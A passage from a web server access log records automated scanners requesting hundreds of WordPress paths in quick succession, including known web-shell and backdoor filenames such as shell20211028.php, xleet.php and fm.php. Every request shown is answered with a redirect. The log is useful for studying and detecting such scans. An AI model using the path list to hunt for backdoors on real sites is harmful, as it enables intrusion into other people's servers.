/upload/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:59 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:00 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:00 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:00 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:01 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:01 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:02 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:02 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:03 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:03 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:03 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:04 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:04 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:05 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:05 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:05 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:06 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:07 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:09 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:09 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:11 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:12 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:13 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:15 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:16 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:17 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:18 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:19 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:19 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:20 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:20 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:21 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:21 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:22 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:23 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:24 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:25 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:26 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:27 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:28 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:28 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:29 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:30 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:30 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:30 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:31 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:31 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:32 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:32 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:33 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:33 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:34 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:34 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:34 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:35 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:35 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:36 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:36 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:36 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:37 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:37 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:38 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:38 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:38 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:39 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:39 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:39 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:36:40 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:37 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:38 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:38 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:39 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:40 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:41 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:42 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:42 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:44 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:44 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:46 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:46 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:47 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:47 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:48 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:48 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:48 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:49 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:49 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:50 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:51 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:52 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:53 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:53 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:54 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:54 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:54 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:56 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:57 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:57 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:54:58 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:00 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:01 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:02 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:02 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:04 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:06 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:08 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:10 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:15 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:20 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:25 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:26 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:27 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:28 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:28 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:29 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:30 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:31 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:32 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:33 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:33 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:34 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:35 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:35 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:36 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:36 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:37 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:37 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:37 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:38 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:39 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:39 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:40 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:40 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:41 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:41 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:41 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:43 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:44 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:45 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:46 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:47 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:47 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:48 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:48 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:49 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:49 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:50 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:51 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:51 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:51 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:51 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:52 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:52 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:52 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:53 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:53 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:54 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:54 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:55 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:55 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:55 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:56 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:56 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:56 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:56 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:57 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:57 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:57 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:58 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:58 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:55:59 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:00 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:00 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:00 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:01 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:01 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:01 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:02 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:02 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:03 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:04 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:05 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:07 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:07 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:09 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:09 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:10 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:11 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:11 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:12 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:13 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:13 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:14 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:15 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:16 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:16 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:17 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:17 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:17 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:18 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:19 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:19 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:20 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:21 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:21 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:22 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:22 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:23 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:23 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:25 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:25 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 